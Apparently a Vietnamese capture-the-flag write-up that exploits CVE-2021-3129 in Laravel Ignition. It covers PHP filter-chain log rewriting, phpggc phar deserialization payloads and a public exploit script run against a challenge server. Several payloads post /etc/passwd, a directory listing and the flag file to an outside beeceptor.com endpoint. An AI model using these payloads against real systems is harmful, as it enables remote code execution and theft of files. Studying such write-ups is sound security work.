- http://45.32.118.198:8000/ Level: Normal
- Điểm: 1000
- Kiến thức : CVE-2021-3129, phpggc
I. CVE-2021-3129
Phân tích CVE-2021-3229 chi tiết tại đây hoặc đây (
tiếng trung) hoặc đây (tiếng
việt).
Về cơ bản thì lỗi sảy ra trong quá tiếng trình debug của
Laravel , có một api để hiện thị lỗi, sau khi lược bổ đi một số công dụng của
hàm thì chung quy lại sẽ thành như sau:
Dựa vào bài viết the upload progress technique demonstrated by
Orange Tsai. Từ đó đưa ra nhận xét có thể thêm, sửa, xóa và thực thi một
file.
1. Thêm
Theo mặc định, file log của Laravel chứa mọi lỗi PHP và
stack trace, được lưu trong storage/log/laravel.log.
[previous log entries]
[prefix] file_get_contents(SOME_TEXT_OF_OUR_CHOICE)[midfix] file_get_contents(SOME_TEXT_OF_OUR_CHOICE)[suffix]
2. Sửa
PHP wrappers: để thay đổi nội dung
file.
Về cơ bản là như sau:
$echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt
$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';
$contents = file_get_contents($f);
file_put_contents($f, $contents);
Sau câu lệnh này file .txt sẽ chứa nội dung là: test.
Bởi vì quá trình decode-base64 thì PHP sẽ tự động bỏ đi các ký tự không thuộc bộ
mã. Lợi dụng tính chất này hoàn toàn có thể xóa đi các nội dung trong file log,
chỉ để lại nội dung cần thiết. Sau quá trình cân đo tinh toán thi đã có một loạt
các câu lệnh sau để thay đổi được nội dung của file log.
|
|
convert.quoted-printable-decode: decode các string có giá trị
là ‘=00’ thành byte \00
convert.iconv.utf-16le.utf-8:
convert từ dạng 2 byte thành dạng utf-8: (chuyển đổi lệnh log không mong muốn bằng
cách gộp 2 byte lại.
convert.base64-decode: xóa các byte
bị convert sang utf-8 mà nằm ngoài bẳng mã
Chỉ cần tạo được shell có bằng các
encode lại quá trình trên thì shell đó sẽ được ghi
3. Xóa
Chỉ cần thực hiện câu lệnh sau là log sẽ được xóa:
Kết hợp 3 chức năng trên để xây dựng thành công file log có
chứa nội dung của shell muốn inject.
Vì quá trình chỉnh sưa cần có 2 điều kiện: sau quá trình
convert.quoted-printable-decode các byte còn lại phải là chẳn thì mới có thể
convert.iconv.utf-16le.utf-8 và kết quả sau khi convert.iconv.utf-16le.utf-8 phải
không được có dấu ‘=’ ở giữa nội dung decode-base64 mới được thực hiện. Để
bypass cái thứ 2 thì đơn giản, chỉ cần sửa shell cho thêm các byte padding vào
sao cho quá trình encode từ shell thành base64 không xuất hiện dâu ‘=’ thì
thành công. Đến cái thứ nhất thì cần tạo ra các cặp string có lượng byte bằng
nhau thì nó sẽ tự dộng thành chẵn byte: xây dựng ra quy trình sau:
Xóa log -> gửi content ‘AA’ ->
gửi content ‘shell’ như vậy các tiền tố hậu tố sẽ xuất hiên 2 lần -> chẵn ký
tự. Vì shell xuất hiện 2 lần nên dựa vào cấu trúc của
convert.iconv.utf-16le.utf-8 chỉ cần thêm 1 byte vào sau shell thì quá trình
decode shell thứ 2 sẽ bị lệnh byte và trở thành “junk chars
4.Thực thi
Sử dụng lỗ hổng: Lỗ hổng Insecure
Deserialization trong PHP chuyển đổi từ string thành
object thông qua lệnh phar để thực thi. Để thuận tiện quá trình khai thác mình
sẽ sử dụng công cụ có sẵn sau: https://github.com/ambionics/phpggc.
Có thểm tham khảo bài nay để
biết thêm chi tiết.
Khai thác
Sửa dụng công cụ được viết sẵn để khai thác CVE sau: https://github.com/ambionics/laravel-exploits.
Chỉnh sửa một chút để file đó in ra log khi request:
Thử nghiệm đối với từng PHPGGC payload.
Bước 1: Tạo file shell
1 |
php -d'phar.readonly=0' ./phpggc
--phar phar -o /tmp/exploit.phar --fast-destruct Laravel/RCE1 system id |
Thử đổi qua payload Laravel/RCE5 thành công, có thể inject
code php.
Bước 2: Thực thi
1 |
./laravel-ignition-rce.py http://45.32.118.198:8000/
/tmp/exploit.phar |
Kết quả trả về sẽ có 2 trường hợp:
1.
Chỉnh sửa file thành công sẽ trả về nội dung
sau: Successfully converted to PHAR !
2.
Chỉnh sửa file thất bại sẽ trả về nội dung sau:
Convertion to PHAR failed (try again ?)
Cũng không hiểu lý do tại sao mà cứ
một lần 2 lần liên tiếp thì sẽ có 1 lần được ( hay là do log cữ chưa xóa được
nhỉ :v)
Với lần thực thi với lệnh system thì kết quả trả về là hàm
system bị disable: sau một hồi thử nghiệm với các hàm để thực thi câu lệnh khác
không có một hàm nào chạy được. Và cuối cùng dựa vào chính hàm
file_get_contents để kiểm tra lỗ hổng blind rce. Sử dụng server beeceptor.com để
kiểm tra request.
1 |
php -d'phar.readonly=0' ./phpggc
--phar phar -o /tmp/exploit.phar --fast-destruct Laravel/RCE5
"file_get_contents('https://google.free.beeceptor.com');" |
Có request đến server beeceptor.com từ đó xác định được câu
lệnh được thực thi. Vấn đề bây giờ là phải biết được vị trí của flag và lấy được
flag ra. Sau một hồi tính toán thử nghiệm, mình đưa ra payload sau có thể lấy nội
dung file:
1 |
php -d'phar.readonly=0' ./phpggc
--phar phar -o /tmp/exploit.phar --fast-destruct Laravel/RCE5
"file_get_contents('https://google.free.beeceptor.com',
false, stream_context_create(array('http' => array( 'method' => 'POST',
'content' => 'data='.file_get_contents('file:///etc/passwd')))));" |
Tìm kiếm thư mục có chưa file Flag:
1 |
php -d'phar.readonly=0' ./phpggc
--phar phar -o /tmp/exploit.phar --fast-destruct Laravel/RCE5
"file_get_contents('https://google.free.beeceptor.com',
false, stream_context_create(array('http' => array( 'method' => 'POST',
'content' => 'data='.implode(scandir('/'))))));" |
Từ nội dung trên tìm được file flag là : /secret.flag
1 |
./phpggc --phar phar -o
/tmp/exploit.phar --fast-destruct Laravel/RCE5 "file_get_contents('https://google.free.beeceptor.com',
false, stream_context_create(array('http' => array( 'method' => 'POST',
'content' => 'data='.file_get_contents('file:///secret.flag')))));" |
Flag: MTACTF{publ1c_p0c_w0nt_w0rk}
Tài liệu tham khảo:
https://www.ambionics.io/blog/laravel-debug-rce
http://blog.orange.tw/2018/10/
https://github.com/ambionics/laravel-exploits
https://portswigger.net/web-security/deserialization/exploiting#phar-deserialization
https://github.com/ambionics/phpggc
https://www.ambionics.io/blog/php-generic-gadget-chains
Ồ thì ra là như vậy :V
Trả lờiXóaCó gì khó khăn cứ hỏi mình nhé
Xóavui vì các bạn thích bài chia sẻ của mình <3
Xóa